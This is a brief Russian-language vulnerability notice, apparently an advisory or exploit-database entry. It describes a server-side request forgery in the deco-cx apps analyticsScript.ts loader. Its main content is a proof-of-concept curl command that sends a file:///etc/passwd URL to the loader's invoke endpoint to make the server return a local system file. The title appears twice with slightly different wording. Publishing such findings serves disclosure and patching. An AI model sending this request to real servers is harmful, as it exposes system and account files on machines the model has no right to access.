
deco-cx apps Параметр analyticsScript.ts AnalyticsScript межсайтовая подделка запроса на стороне сервера
deco-cx приложения Параметр analyticsScript.ts AnalyticsScript подделка запросов на стороне сервера
PoC:
curl --path-as-is -i -s -k -X $'GET' \
-H $'Host: x.x.x.x' \
$'http://x.x.x.x/live/invoke/website/loaders/analyticsScript.ts?url=file:///etc/passwd'